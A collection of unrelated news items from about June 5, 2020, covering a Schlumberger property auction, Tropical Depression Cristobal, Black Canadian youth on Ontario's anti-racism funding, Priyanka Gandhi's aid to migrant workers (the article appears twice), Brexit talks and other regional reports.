DALLAS, June 5, 2020 /PRNewswire/ -- Williams & Williams, a worldwide real estate auction firm and leader in global live and interactive auctions will auction 20+ properties for oilfield services company Schlumberger (SLB) during a two week period in June. Williams & Williams is conducting the auctions along with Lee & Associates Commercial Real Estate Services.

The properties are a mix of warehouse, industrial and land properties throughout Texas, plus locations in Oklahoma, Colorado, Mississippi, Illinois, North Dakota, Wyoming and Utah. Many of the properties will be sold Absolute, with no reserve. The auctions are open to the public, with no bidder deposit required to participate.

"The Schlumberger portfolio includes well-maintained industrial properties near major highways and close to small to medium metropolitan areas" said Fontana Fitzwilson, Executive Vice President of Williams & Williams. "Sales in the industrial real estate market are strong right now, and the value of having a time-certain sale for multiple properties is attractive to sellers like Schlumberger who want to dispose of their underutilized or idle assets." The auctions will take place on site at selected properties June 11th through the 25th. Simultaneous online bidding is available for all auctions. For a complete list of properties and sale times and locations, please visit the auction website: https://www.williamsauction.com/SLB.

Fitzwilson said the seller has prepared each property for a speedy transfer following the auction, including offering a "Quick Close" incentive for pre-auction transactions that would cover most of the closing costs to the buyer. Pre-auction sales are encouraged and the cut-off date to qualify for the Quick Close program is the first week of June. Public inspections will be held prior to the auction, please visit each property web page for date and time.

For more information, please call 800.801.8003 or email the Auction Manager [email protected]

About Williams & Williams:

Williams & Williams ( www.williamsauction.com ) is a worldwide real estate auction firm and the leader in global live and interactive auctions. With more than a century of experience, Williams & Williams provides a broad range of real estate services to private, public and institutional sellers interested in the benefits of time-definite sales solutions that deliver the best value. A full-service brokerage with an operating footprint in all 50 United States, Williams & Williams also cooperatively partners with residential, commercial and land brokers to auction properties throughout the United States and abroad.

SOURCE Williams & Williams

Related Links

http://www.williamsauction.com


(JNS)  Former Vice President Joe Biden apologizes. President Donald Trump doesnt ever apologize. While both said things that can easily be construed as offensive, the thinking behind their talk about being entitled to votes from particular groups was based in something we shouldnt condemn.

As Biden learned, talking down to voters is bad, but appealing to them to support their communitys interests is kosher. Or at least it is, unless youre talking about something that most Jews consider important, like the security of the State of Israel.

Biden stepped in it when at the conclu...
Louisiana is in a state of emergency and Baton Rouge and New Orleans could see as much as four inches of rain over the weekend as a storm currently in the Gulf of Mexico is likely to gain strength before arriving as early as Saturday night.

Tropical Depression Cristobal continued to soak Mexico's Gulf coast and Central America on Friday ahead of a northward turn expected to carry it to US shores by Monday.

Cristobal is expected to bring significant storm surge, prompting the authorities on the coastline of Louisiana, Mississippi, Alabama, and Florida to be on alert.

The US National Hurricane Center said the storm had maximum sustained winds of 35 mph on Friday morning and was moving north at 12 mph.

Cristobal, a storm that has been downgraded to a tropical depression, is making its way up the Gulf of Mexico and is expected to hit landfall in the United States on Saturday. The image above shows a man in Villahermosa, Mexico, checking his crops after his area was inundated by rainfall

Cristobal made landfall in Mexico as a tropical storm Wednesday before weakening. The image above was taken from a satellite at around 2pm eastern time on Friday

The storm is likely to bring strong wind gusts and significant storm surge when it reaches the American coastline

At the earliest, the storm is likely make landfall in the United States on Saturday evening

It was expected to cross the Yucatan Peninsula Friday, regain tropical storm strength and eventually track to the US Gulf Coast.

A tropical storm watch was issued for the northern Gulf of Mexico coast from Intracoastal City Louisiana to the Alabama-Florida border.

The storm watch is in effect for offshore waters, including coastal waters from Port Fourchon to the lower Atchafalaya River, Southwest Pass of the Mississippi River to Port Fourchon and from Stake Island to the Southwest Pass.

Tropical storm-force winds also will be possible from Saturday through Monday morning, weather experts said.

A tropical storm watch is in effect for the Louisiana coastline

Flood watches and warnings are also in effect for the New Orleans region as well as central and southern Florida

Forecasters expect the storm surge in some parts of the Gulf Coast to reach as high as 4ft

In addition, a flood watch is in effect for all of southeast Louisiana and coastal Mississippi through Tuesday morning.

Cristobal made landfall in Mexico as a tropical storm Wednesday before weakening.

It had formed this week in the Bay of Campeche from the remnants of Tropical Storm Amanda, which had formed last weekend in the eastern Pacific and hit Central America.

The two storms have combined to soak the region with as much as 35 inches of rain in some areas over the past week.

At least 30 deaths have been attributed to the two storms and the flooding and landslides they unleashed.

The Hurricane Center's projected track shows the storm reaching the US Gulf Coast by early Monday, and it said Cristobal could bring heavy rains from East Texas to Florida this weekend and into early next week.

The storm was 40 miles east of Campeche Friday morning.

In Bacalar, in the south of Quintana Roo state, 230 families were isolated by the rains and had to be airlifted out, David Leon, Mexico's national civil defense coordinator, said Friday.

Leon added there had been light damage in 75 municipalities in seven states.

In Louisiana, Governor John Bel Edwards on Thursday declared a state of emergency to prepare for the storm's possible arrival there.

'Now is the time to make your plans, which should include the traditional emergency items along with masks and hand sanitizer as we continue to battle the coronavirus pandemic,' Edward said in a statement.

The Gulf Coast is likely to see as much as 4 inches of rain by early next week

Authorities along the Gulf Coast are also preparing for the possibility of tropical storm-force winds

The earliest time for the arrival in Louisiana of tropical-storm-force winds (40-55+ mph) will be Saturday night, but the most likely time will be early Sunday morning, weather experts have said.

Winds will remain elevated through early Monday and will gradually start to back off into early Tuesday.

'The city is monitoring the progression and movement of Cristobal which is moving toward our direction,' Mayor LaToya Cantrell said during a news conference.

'We are expecting heavy rain throughout the weekend with local totals upwards of 10 inches.'

'We're talking wet and wind here,' Cantrell said.

'Now is the time to start paying attention and getting ourselves ready.'

Nearly three months after they were closed because of the coronavirus, Louisianas bars, spas and tattoo shops restarted operations on Friday, as the state continues to loosen its virus-related restrictions.

Edwards issued the latest restrictions Thursday, using the Phase 2 reopening guidance issued by the White House.

The changes will allow retailers, restaurants, salons and churches to serve more customers at a time and will let other shuttered businesses reopen with limitations.
Growing up, Shanice Burton never saw people who looked like her spoken about in school.

When I was really young, I was definitely naive to a lot of the racial inequalities that exist in Canada, she said. In this country, theres this rhetoric that racism isnt a problem for us, and thats definitely a school of thought that I believed in for a long time.

On Thursday, the Ontario government promised $1.5 million to help Black families and youth recover from the COVID-19 crisis. It also announced that it would form a 20-person advisory group, comprised of youth between the ages of 18 and 29, as well as community organizations and educators, to support youth in overcoming socioeconomic barriers.

For Burton, 18, the provincial governments latest announcement is a step in the right direction, but she hopes that itll expand to more than $1.5 million. The council especially is something Im excited to learn more about  as these steps and commissions of inquiry are extremely important to the advancement of Canadian society in all aspects.

However, she does remain wary of the provincial government. Doug Ford said just a few days ago that systemic racism isnt a problem in Canada, rescinded this statement the very next day and now this, she says.

Im sure his true opinions didnt change overnight, and he was probably pressured into making those statements, so I still find it hard to believe that this is something the Conservative provincial government is going to truly see through unless we continue to put pressure on them.

Growing up as a Black woman, encountering racism herself as well as seeing police brutality throughout North America, she had to unlearn a lot of what she was taught about Canada early on. I realized how much the Canadian government swept racism under the rug  and I knew I had to take action.

So, in Grade 10, she found her own resources and guides for survival, in the hope she could empower other Black students in the process. She co-founded a Black Student Union at her high school in Ajax with the help of her two Black principals. Our principals and guidance office are very conscious in trying to give racialized students support.

And now, after a tumultuous last year of high school, from rotating strikes to home-schooling during the COVID-19 lockdown, Burton has been accepted into the University of Toronto for political science. Im learning more every single day.

Now, as protests sweep across American and Canada fighting against anti-Black racism and police brutality, a part of life shes long-known to exist, she feels its necessary to speak up.

I think our current government has failed immensely in addressing concerns of Black Canadians. They seem to be so focused on being right in the centre of the political spectrum that they have difficulty getting anything done other than to further their platforms and encourage their re-election at both the federal and provincial level, Burton says.

She cited Prime Minister Justin Trudeau when he was asked about his views on the U.S. a few days ago and he paused for 20 seconds before answering. I cant trust a government that thinks twice before condemning President Donald Trump for the atrocities hes responsible for in the United States.

Its one of the reasons Burton has a hard time believing in change.

I find it hard to count on them to stand up for me and other Black people in this country as well as other minority groups, specifically the Indigenous community.

In the future, she hopes that she can see all three levels of government take stronger action against the systemic discrimination faced by Black Canadians.

Its easy to make empty statements about your support for the Black community, but I, and other Black Canadians are not moved by them, she says. If they are willing to acknowledge that systemic discrimination is real and affects Canadians, they should be willing to actually do something about it: an up to date commission of inquiry might be a good start.

As Tani Oluwaseyi began paying closer attention to politics, he started noticing a lack of representation of Canadas Black community. The older I got, the more interested I got in the entire Black Lives Matter movement and I think Im at a point in my life where like, its very glaring how misrepresented we are, Oluwaseyi said.

We had, I think, three or four non-white teachers and one Black teacher in the entire school, said Oluwaseyi, reflecting on his high school days in Mississauga. So those are just, like, some examples growing up.

Alongside his friends, Oluwaseyi was part of a Black History Month committee that worked to educate students on microaggressions  something he finds particularly prevalent in Canada.

I think Canada has a lot of more subtle stuff, things that people will expect you to just, like, brush off, he said.

When asked about the funding announced by Ford Thursday, Oluwaseyi said he sees it as a necessary step toward the goal of equality for all people, although he thinks the province should commit to doing more. Ontario and the people in power should build on this and continue to be committed to creating change in those communities ... and create an environment that makes it possible for the families within these communities to thrive and to prosper, he said.

Looking at Canadas political landscape, Oluwaseyi finds it hard to come up with names of Black politicians that have the same platform and visibility as white politicians. I dont think I can say that I know of one who has, like, a significant platform or that I have seen on the news, he said. But I know, for a fact, that theyre out there. And I know, for a fact, that they are trying to get that platform; its just the media kind of picks and chooses what they choose to support.

The 20-year-old, who just finished his second year at St. Johns University in New York, said he wants to see a larger platform for Black, Indigenous and people of colour who fought to get where they are.

RELATED STORIES Provincial Politics Doug Ford launches anti-racism panel to help vulnerable youth

I think just giving young men, young women just a chance  like starting in school to know that if you want to go into politics, you can definitely have a voice, you can definitely be heard, Oluwaseyi said. It can definitely make difference. I feel like that would go a long way.

Emmanuel Adegboyega, a Grade 11 student at Chaminade College School in Toronto, says that the Ontario governments announcement is a step in the right direction, but doesnt just want a promise; he wants action.

The news is great because it shows the government is starting to understand and see that theres actually a form of unfairness and prejudice against the Black community, he says. Its a great start.

As a Black man growing up in Toronto, he recognizes that there are people out there that still resent the Black community.

This resentment comes for ordinary citizens and, most importantly, the ones that are least broadcasted from within the governmental system. Black youths have been so stereotyped  that some cops always see the Black youths as the first threat or suspect in every situation, Adegboyega adds.

While he believes, as a whole, the governments are trying to support the Black community  he cites funding for festivals such as the ,Toronto Caribbean Carnival and Afrofest and for after-school programs  theres still more to be done. There are still individuals put in positions of authority who do not believe there should be a support system for the Black community which has led to the current distrust of Black youths or the Black community in general.

As Adegboyega moves into his final year of high school next year, hes hoping to pursue his interest in fighting for justice and preparing to apply to post-secondary schools for criminology. Its been a passion since I was young.

Jenna Moon is a breaking news reporter for the Star and is based in Toronto. Follow her on Twitter: @_jennamoon

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Maloney balked at Leighs assertion the lawsuit was filed this week to benefit from the attention on Floyds death. He said that his co-counsel in the litigation, James Cleaver, put the county on notice in September that he was preparing possible litigation, and they started drafting the complaint before Floyds death. Maloney said his office submitted the lawsuit on Tuesday by placing it into the Montgomery County Circuit Courthouses outdoor dropbox, a standard procedure for lawyers during the past 10 weeks because of the pandemic shutdowns.
New Delhi, June 5 : Even before her offer to provide 1,000 buses to Yogi Adityanath-led BJP government in Uttar Pradesh was rejected, Congress General Secretary Priyanka Gandhi Vadra had ensured the safe return of over 44,000 migrant workers to their home state from different parts of the country, a party source said on Friday.

Stranded in different states, these migrants were helped by Priyanka get seats in Shramik Special trains, buses and other modes of transport and also ensured food and water in many cases.

This process had started much before her appeal to Yogi, they said.

A top Congress sources, associated with Priyanka Gandhi, said that the party General Secretary, who is also incharge for party affairs in eastern Uttar Pradesh, was helping out stuck migrants even before the Shramik trains were pressed into service from May 1 as well as the buses episode with the Uttar Pradesh government in mid-May.

The source said after the lockdown was extended for the first time for 19 days, Priyanka Gandhi took up the work of helping the migrants as visuals of people travelling on foot along with their children started surfacing on news channels and the social media.

"Due to her intervention, over 44,000 migrant workers were sent back through Shramik trains and buses arranged by different Congress state units to Uttar Pradesh," the source said.

"And to ease the process, she also launched 'UP Mitra' helpline on May 5," the source said, adding that over 5.5 lakh people registered for return while over five lakh requests were received from different district units of the state.

The list was then shared with different state units for making travel arrangements, the source said.

When asked if Priyanka Gandhi's team paid for the Shramik trains, the source clarified that the Congress leader did not book the trains, but she kept on forwarding the requests that her office received from the migrant workers to the state units.

The state units then coordinated with the migrant workers and arranged for their return either by buses or trains and the amount was paid for by the Congress state units concerned, the source said.

Congress interim chief Sonia Gandhi had on May 4 had said that the party will bear the cost of rail tickets of migrants.

"Till date, the Congress state units have roughly paid for fares of over 22 Shramik trains to Gujarat, Maharashtra, Rajasthan and Punjab governments, which were destined for Uttar Pradesh, as our workers were coordinating for the passengers lists," the source pointed out.

Even many buses were arranged from Ghaziabad and Noida for different districts in UP.

"The office of Priyanka Gandhi used to share the requests for travel and ration arrangements for migrant workers stranded in Mumbai with us," Suraj Singh Thakur, Vice President of Mumbai Youth Congress, told IANS.

Thakur said that the Congress state unit arranged for the travel of over 10,000-12,000 migrants from Maharashtra to Uttar Pradesh by trains, small vehicles, or buses.

He also said that the migrants were also given water bottles and food for their journey.

Ashwini Kumar Sharma, Ludhiana Congress President, said: "Priyanka Gandhi's office kept sharing lists of people stranded in Ludhiana and those who needed assistance. We even arranged ambulances and got admitted several people to hospitals." Sharma said that Congress workers in Amritsar and Chandigarh also got similar requests for the return of migrant workers to Uttar Pradesh, adding that Priyanka Gandhi personally intervened to arrange for return of migrant workers or ration or any other help.

Sharma said that after the message from Sonia Gandhi, the Punjab government bought the train tickets worth Rs 35 crore for the migrant workers staying in different parts of the state.

Deep Naik, Congress Vice President in Gujarat's Surat unit, said that the helpline started by Priyanka Gandhi was of great help to connect with the people who wanted to return to their home states during the nationwide lockdown.

Naik said: "Priyanka Gandhi led from the front and thus we were able to reach out to the maximum stranded families, who were residing in Surat and wanted to go back." He said that more than seven Shramik trains from Gujarat for different parts of the country were arranged, adding that from Surat alone over 25,000 people were able to return to their native places.

(Anand Singh can be contacted at anand.s@ians.in and Syed Moziz Imam can be contacted at imam.m@ians.in)
Editor's Note: With so much market volatility, stay on top of daily news! Get caught up in minutes with our speedy summary of today's must-read news and expert opinions. Sign up here!

(Kitco News) - Ecuador (TSX:SOLG) focused SolGold said Thursday its placement raised US$32.6 million for the company.

The placing was conducted by Peel Hunt LLP, Cormark Securities Inc and Cantor Fitzgerald Canada Corporation acting as joint bookrunners.

Nick Mather, CEO of SolGold, said the company has funds for its definitive feasibility study (DFS).

"SolGold is pleased with the strong institutional support for the raising. In additional to the completion of the FNV Royalty Financing, the new capital will see SolGold fully funded through to the delivery of the DFS study, whilst at the same time, allow our award winning geologists to rapidly explore the high priority regional exploration targets throughout Ecuador along the spine of the Andean Copper Belt," said Mather.

"Alpala is one of the top undeveloped copper gold projects globally and the Company looks forward to the transition from explorer into developer in the near future."

"The issue was done at a competitive price of 21.5p, or a discount of 8.7% with the assistance of Peel Hunt, Cantor Fitzgerald, Cormark Securities and H&P Advisory, and included a retail tranche handled by PrimaryBid."
The African Development Bank (AfDB) says it would support Nigeria to address some emerging shocks triggered by the ravaging impact of COVID-19 pandemic on the global and Nigerian economies.

The pandemic has negatively impacted global markets, including the international crude crude oil market driving down prices to unprecedented low levels.

Nigeria, whose economy is dependent on revenues from crude oil export, has been severely devastated.

Within three months (between March and May), the Federal Government has revised the benchmark crude oil price in its 2020 Budget thrice.

Apart the initial review from $57 per barrel contained in the approved Appropriation Act last December to $30 per barrel, the price was rebased to $25, and to $28 per barrel early this week.

All the reviews and adjustments are part of efforts to raise funds to finance the huge deficit in the budget as a result of shocks from the distortions association with the pandemic.

AfDB to rescue

But, the AfDB on Friday committed to support Nigeria address some of the shocks and assist the countrys economy back on its footing post-COVID-19.

The Board of Directors of the Bank disclosed this in its new Country Strategy Paper (CSP) 2020-2024 approved for Nigeria.

Through the implementation of the CSP, the Bank said its support would focus on interventions in sectors that would strengthen public health infrastructure.

The support would also help accelerate efforts towards economic transformation and diversification of export earnings and fiscal revenue from crude oil.

The five-year strategy paper would build on the successes and challenges of the 2013-2019 edition, and incorporates emerging developmental realities and opportunities shaping Nigerias political and economic landscape, in the post-COVID-19 period.

Senior Director for the African Development Bank in Nigeria, Ebrima Faal, re-affirmed the Banks support for Nigerias socio-economic advancement.

Mr Faal said the 2020-2024 CSP identifies supporting infrastructure development and promoting social inclusion through agribusiness and skills development as key priority areas for Nigeria.

These priorities have been selected to leverage Nigerias rich endowment of natural and human resources toward transforming the lives of its people.

READ ALSO:

It is in this context that the new CSP has been customized to support government efforts in confronting challenges and to foster long-term, socially inclusive development, Mr Faal said.

Priority areas

Under the CSP, he said the Bank would deploy a combination of sovereign and non-sovereign financing instruments to support the two priority areas, including investment and institutional support projects.

Other areas of support would be on evidence based analytical work in numerous economic sectors, policy dialogue and provision of advisory services.

Special focus would be put on supporting the Nigerian private sector, in terms of financing and advisory services, and on Public-Private-Partnership (PPP) initiatives that enable innovative, long-term investment in energy, transport and water and sanitation.

The AfDB Strategy Paper is a product of participatory consultations with a range of key stakeholders, both state and non-state actors as well as bilateral and multilateral development partners.

The AfDB said the CSP is fully aligned with its 10-year strategy, the High 5 priorities and Nigerias own Economic Reform and Growth Plan (ERGP), as well as the global Sustainable Development Goals (SDGs).

As of December 2019, the Bank Groups active portfolio in Nigeria comprised 61 operations, with a total commitment of about $5 billion.

Of the total active operations, 29 were in the public sector, with a commitment of $2 billion (43%) and 32 non-sovereign operations with a total commitment of $3 billion, equivalent to 57% of the total portfolio.
Seoul Mayor Park Won-soon speaks during the Global Summit Discussion Forum, part of the Cities Against COVID-19 Global Summit 2020, at a studio in Seoul City Hall, Friday. / Screen capture from YouTube





By Jun Ji-hye







The COVID-19 pandemic could be an opportunity for Korea to become a more developed country, Seoul Mayor Park Won-soon said Friday, calling on citizens to combine forces to overcome the public health crisis at the earliest possible date.







"We should overcome this crisis first and lead other countries, and then Korea will become a more developed country," Park said during the Global Summit Discussion Forum that took place as part of the Cities Against COVID-19 (CAC) Global Summit 2020.







The CAC Global Summit is a five-day online event hosted by the Seoul Metropolitan Government starting last Monday, inviting city representatives from 42 countries. The event is aimed at preparing for the post-coronavirus era.







Mayor Park stressed the need for alliances between cities against the disease, citing his suggestion during the summit to establish the tentatively named Cities Alliance Against the Pandemic.







Park pointed out that cities affected by the COVID-19 pandemic have been uncoordinated, producing different policies and outcomes, and this caused confusion in the critical early stages of the pandemic.







"During the summit, we were able to share information, policies and responses against the disease," he said, calling inter-city cooperation "key" to responding to future infectious diseases.







He added that Korea, which went through the MERS outbreak five years ago, learned about the importance of transparency, innovation and citizen engagement in the fight against infectious diseases. This lesson has led to some innovative ideas such as a drive-thru COVID-19 testing site.







K-pop star Kim Jun-su, also known as Xia Junsu, was invited to the Friday's forum as a panel representing the cultural community.







He noted during a video interview that the performing arts field has been one of many to have been hit by the pandemic, calling on audiences and performers to be united and stick to guidelines in order for the industry to recover at the earliest possible date.







K-pop star Kim Jun-su speaks during a video interview during the Global Summit Discussion Forum, part of the Cities Against COVID-19 Global Summit 2020, from a studio at Seoul City Hall, Friday. / Screen capture from YouTube




Shobana Radhakrishnan By

Express News Service

MADURAI: For M Nethra, money amounts to nothing unless it is used for serving the needy. It's this belief that prompted her to make her father, a salon owner, spend his savings of Rs 5 lakh on the hapless migrant labourers, who are hit hard by the Coronavirus-induced lockdown.

International recognition came calling the 13-year-old girl as she was appointed as 'Goodwill Ambassador (GWA) for the Poor' by the United Nations Association for Development and Peace (UNADAP) on Friday. Nethra's feat came as a double joy for her family as her father, C Mohan, a resident of Melamadai, was lauded by Prime Minister Narendra Modi in his 'Mann ki Baat' programme, broadcast on Sunday.

The UNADAP recognition brings to the girl the opportunity to address the upcoming Civil Society forums at the UN conferences in New York and Geneva. "The position also brings the opportunity to speak to world leaders, academics, politicians and civilians and to encourage them reach out to the poorest of the poor," reads a UNADAP communication, dated June 4. The opportunity apart, the girl has also been awarded the agency's 'DIXON Scholarship' worth Rs 1 lakh.

Speaking to TNIE Nethra said, "Initially, we did not understand the significance of the opportunity. Our only intension was to help the poor. Now, the recognition has given me added energy to serve the people." Being an aspiring civil servant, she added that she felt honoured to address the world on 'Alleviation of poverty' at the UN Forum.

Recalling the struggles of her family, Nethra said that in 2013, a group of people had stolen her father's money and they were left with no money even to buy water. "It took us seven years to become stable and save Rs 5 lakh for my higher studies," she said, adding that she would continue serving the poor.


Even before her offer to provide 1,000 buses to Yogi Adityanath-led BJP government in Uttar Pradesh was rejected, Congress General Secretary Priyanka Gandhi Vadra had ensured the safe return of over 44,000 migrant workers to their home state from different parts of the country, a party source said on Friday.

Stranded in different states, these migrants were helped by Priyanka get seats in Shramik Special trains, buses and other modes of transport and also ensured food and water in many cases.

This process had started much before her appeal to Yogi, they said.

A top Congress sources, associated with Priyanka Gandhi, said that the party General Secretary, who is also incharge for party affairs in eastern Uttar Pradesh, was helping out stuck migrants even before the Shramik trains were pressed into service from May 1 as well as the buses episode with the Uttar Pradesh government in mid-May.

The source said after the lockdown was extended for the first time for 19 days, Priyanka Gandhi took up the work of helping the migrants as visuals of people travelling on foot along with their children started surfacing on news channels and the social media.

"Due to her intervention, over 44,000 migrant workers were sent back through Shramik trains and buses arranged by different Congress state units to Uttar Pradesh," the source said.

"And to ease the process, she also launched 'UP Mitra' helpline on May 5," the source said, adding that over 5.5 lakh people registered for return while over five lakh requests were received from different district units of the state.

The list was then shared with different state units for making travel arrangements, the source said.

When asked if Priyanka Gandhi's team paid for the Shramik trains, the source clarified that the Congress leader did not book the trains, but she kept on forwarding the requests that her office received from the migrant workers to the state units.

The state units then coordinated with the migrant workers and arranged for their return either by buses or trains and the amount was paid for by the Congress state units concerned, the source said.

Congress interim chief Sonia Gandhi had on May 4 had said that the party will bear the cost of rail tickets of migrants.

"Till date, the Congress state units have roughly paid for fares of over 22 Shramik trains to Gujarat, Maharashtra, Rajasthan and Punjab governments, which were destined for Uttar Pradesh, as our workers were coordinating for the passengers lists," the source pointed out.

Even many buses were arranged from Ghaziabad and Noida for different districts in UP.

"The office of Priyanka Gandhi used to share the requests for travel and ration arrangements for migrant workers stranded in Mumbai with us," Suraj Singh Thakur, Vice President of Mumbai Youth Congress, told IANS.

Thakur said that the Congress state unit arranged for the travel of over 10,000-12,000 migrants from Maharashtra to Uttar Pradesh by trains, small vehicles, or buses.

He also said that the migrants were also given water bottles and food for their journey.

Ashwini Kumar Sharma, Ludhiana Congress President, said: "Priyanka Gandhi's office kept sharing lists of people stranded in Ludhiana and those who needed assistance. We even arranged ambulances and got admitted several people to hospitals."

Sharma said that Congress workers in Amritsar and Chandigarh also got similar requests for the return of migrant workers to Uttar Pradesh, adding that Priyanka Gandhi personally intervened to arrange for return of migrant workers or ration or any other help.

Sharma said that after the message from Sonia Gandhi, the Punjab government bought the train tickets worth Rs 35 crore for the migrant workers staying in different parts of the state.

Deep Naik, Congress Vice President in Gujarat's Surat unit, said that the helpline started by Priyanka Gandhi was of great help to connect with the people who wanted to return to their home states during the nationwide lockdown.

Naik said: " Priyanka Gandhi led from the front and thus we were able to reach out to the maximum stranded families, who were residing in Surat and wanted to go back."

He said that more than seven Shramik trains from Gujarat for different parts of the country were arranged, adding that from Surat alone over 25,000 people were able to return to their native places.
The Bombay high court (HC) on Tuesday upheld the conviction of a 36-year-old for sexually assaulting and robbing a resident in a building where he worked as a security guard. The man was convicted to 10 years imprisonment by a trial court in 2015.

The incident took place in the early hours of January 24, 2014, and the residents brother found her injured and in a semi-conscious state a few hours later. The sessions court convicted the guard for sexual assault and robbery, and sentenced him to 10 years imprisonment based on CCTV footage and forensic evidence, including the odontology report of the convicted guard. The survivors mobile phone was also seized from him.

The guard appealed against the verdict in the Bombay HC, which was rejected on Tuesday.

Justice Prithviraj K Chavan rejected the security guards appeal, stating the evidence on record, including the CCTV footage, unerringly pointed towards his guilt, and that he had executed his nefarious design in a calculated manner.

The appellant as a security guard was duty bound to guard and protect the members of the society and their property, justice Chavan observed.

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EAST GRAND RAPIDS, MI -- Youth of the Grand Rapids area held a peaceful protest and march Friday in support of the Black Lives Matter movement, protesting the death of George Floyd and police brutality.

The protest held in East Grand Rapids follows a week of demonstrations across the nation, including several in Grand Rapids, sparked by George Floyds death. Floyd died on May 25 after a white Minneapolis police officer, Derek Chauvin, knelt on his neck.

Were dying. This needs to end," said Leya Mehari, a 16-year-old Forest Hills Northern High School student. "All lives cant matter until all black lives matter.

The youth protesters gathered at 2 p.m. June at East Grand Rapids Middle School. Organizers encouraged all participants to wear masks and practice social distancing to prevent the spread of COVID-19.

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Qulani Mohammed, a junior at Forest Hills Northern High School, was one of eight organizers of the peaceful protest.

Although most students cannot yet vote, it is important they find other ways to take action and voice concern for injustice, Mohammed said.

We are the next generation of leaders, law enforcement and lawmakers so it was especially important that everyone feels included in a conversation that changes what our history looks like.

Organizers and the officers from East Grand Rapids Public Safety led the group to John Collins Park. The protesters yelled, Say his name: George Floyd, black lives matter and other chants.

Once the group arrived at the park, organizers gave a speech in honor of Breonna Taylor and led the crowd in singing Happy Birthday. Taylor died at the hands of police in Louisville, Kentucky in March. She would have turned 27 years old Friday.

The group paid tribute to Floyd as well, kneeling for 9 minutes, nearly the amount of time now-former officer Chauvin spent with his knee on Floyds neck.

Organizers Dahai Yonas, 16, and Qulani Mohammed, 16, read over 40 names of black Americans who died at the hands of police, including many whose deaths people are still seeking justice for.

Maeve Kuhn, 17, and Madeline Tietema, 17, both seniors at Forest Hills Northern and event organizers, encouraged their white peers to have uncomfortable conversations with friends and family and to take a stand against racism in their daily lives.

Black lives matter today, tomorrow and always, Tietema said. We see you, we hear you and we stand with you.

Mohammed and other organizers also encouraged the crowd of protesters to take actionable steps, including contacting local officials regarding policy changes and registering to vote.

The protesters left the park and chanted as they marched back to the middle school parking lot, concluding around 4 p.m.

The event organizers were in contact with East Grand Rapids Public Safety to keep the group and the surrounding community safe. They also closed off streets, including Lakeside Drive and Wealthy Street, during the march to and from the park.

East Grand Rapids Public Safety Chief Mark Herald, whose department closed off streets for the march, was present and expressed support for the group.

Earlier this week, Grand Rapids Police Chief Eric Payne and Kent County Sheriff Michelle LaJoye-Young showed their support for a different group by kneeling with protesters.

On Wednesday, the Minnesota attorney general announced the charges against Chauvin were upgraded to include second-degree murder, and the three other police officers on the scene face felony charges aiding and abetting in the killing. All four officers were fired after the incident.

More from MLive:

Gov. Whitmer responds to lack of social distancing at protests against police brutality

Michigan leaders react to protests with plans for police reform

Friday, June 5: Latest developments on coronavirus in Michigan
British and European Union negotiators called on their political leaders to break the deadlocked negotiations over the two sides' future relationship amid signs patience is wearing thin.

Speaking after a fourth round of talks ended on Friday, the EU's chief negotiator, Michel Barnier, accused Britain of backtracking on promises it made when it left the bloc and said no significant progress had been made since the discussions began.

"I don't think we can go on like this forever," Barnier said at a briefing in Brussels. "These negotiations will need extra political momentum."

That will put pressure on British Prime Minister Boris Johnson and European Commission President Ursula von der Leyen to reboot the process when they hold talks in little more than a week's time. EU officials hope to persuade Johnson to signal a willingness to compromise, something officials in London have dismissed as wishful thinking.

The end of this month marks the deadline for the U.K. to ask to extend the negotiating period beyond the year-end, something Johnson has repeatedly ruled out doing. If the two sides fail to reach an agreement by the year-end, Britain will leave the bloc without a trade deal in place, leaving companies grappling with the return of tariffs and quotas.

Barnier predicted talks could now stretch on until October -- but a senior British negotiating official said that may be too late, and called for discussions to intensify into July, even if it is inconvenient for European governments grappling with the economic fallout of the coronavirus pandemic. Either way, businesses and consumers face months more uncertainty over how the U.K. will trade with the bloc after the year-end.

"Such important agreements are always agreed at the last minute -- if there is agreement," Barnier said. "In the course of the summer, the very beginning of autumn, we will find some common ground between the EU and U.K." -- as long as Britain doesn't backtrack on the commitments it made in the Brexit Political Declaration, he said.

The U.K. said Barnier was wrong to suggest the government was backtracking, because the pledges made in the Political Declaration don't tie either side's hands.

Not "everything in the declaration must go into a legally binding treaty" because it merely "establishes the scope of our discussions and of our future relationship," Barnier's British counterpart, David Frost, said after the Frenchman's news conference.

Frost said that while progress had been limited, the negotiations were positive in tone.

"If we are to make progress, it is clear that we must intensify and accelerate our work," he said. "We need to conclude this negotiation in good time to enable people and businesses to have certainty about the trading terms that will follow the end of the transition period at the end of this year."

Both sides had hoped to make significant steps forward this week -- but were thwarted by deep disagreements on the most crucial issues: fishing rights, a level playing field for business, and the role of European judges in overseeing any deal.

The EU is seeking the same access it enjoys to British waters as it does today, while Downing Street is pushing for annual negotiations. The bloc is also pressing the U.K. to sign up to some of its rules to protect workers' rights and environmental standards, a requirement Britain has rejected.

Despite the rhetoric, officials on both sides acknowledged that all isn't lost and there is a route to a deal. Barnier's frequent references to the Political Declaration, a looser set of principles than his official negotiating mandate, may be a sign that the EU negotiating chief would be willing to compromise -- if he gets backing from EU governments.

He signaled that he might be prepared to compromise in two crucial areas: fishing and the level playing field. On the former, Barnier said the two sides would have to "discuss somewhere in between" their current positions, adding that "we are prepared to discuss what needs to be discussed."

On the latter, he said that he had "taken account" of Britain's reluctance to continue to be bound by the bloc's state aid rules, one of the main requirements of the level playing field and a key demand of EU governments. The two sides will "work together in order to come up with the appropriate toolbox," Barnier said.

The EU, though, rebuffed a British suggestion for a limited trade deal, one in which not all tariffs would be avoided, in return for more limited demands on the level playing field. A U.K. official said it shouldn't be a binary choice between "zero quotas, zero tariffs" or no deal -- but the issue hasn't been the subject of serious discussion.

- - -

Bloomberg's Tim Ross contributed to this report.
Senior Congress leader Mallikarjun Kharge has secured a Rajya Sabha poll ticket after being officially announced as his party's candidate from Karnataka on Friday. The former union minister was in the race along with present Karnataka Congress Rajya Sabha members Dr Rajiv Gowda and BK Hariprasad. However, Kharge, who is known as a close associate of party interim president Sonia Gandhi, managed to beat the others.

Also, during a legislature party meeting of Janata Dal (Secular), its leaders expressed their strong appeal that former Prime Minister HD Deve Gowda should stand in the elections. After the meeting, his son and former chief minister HD Kumaraswamy said, We have unanimously decided that HD Deve Gowda should contest the Rajya Sabha polls.

Earlier in the day, Kumaraswamy said that there would be no "adjustment politics" with Congress during the upcoming Rajya Sabha and state legislative council elections. However, now if Deve Gowda contests, it remains to be seen whether the JD(S), which is short of numbers, seeks help from the Congress or the Bharatiya Janata Party (BJP).

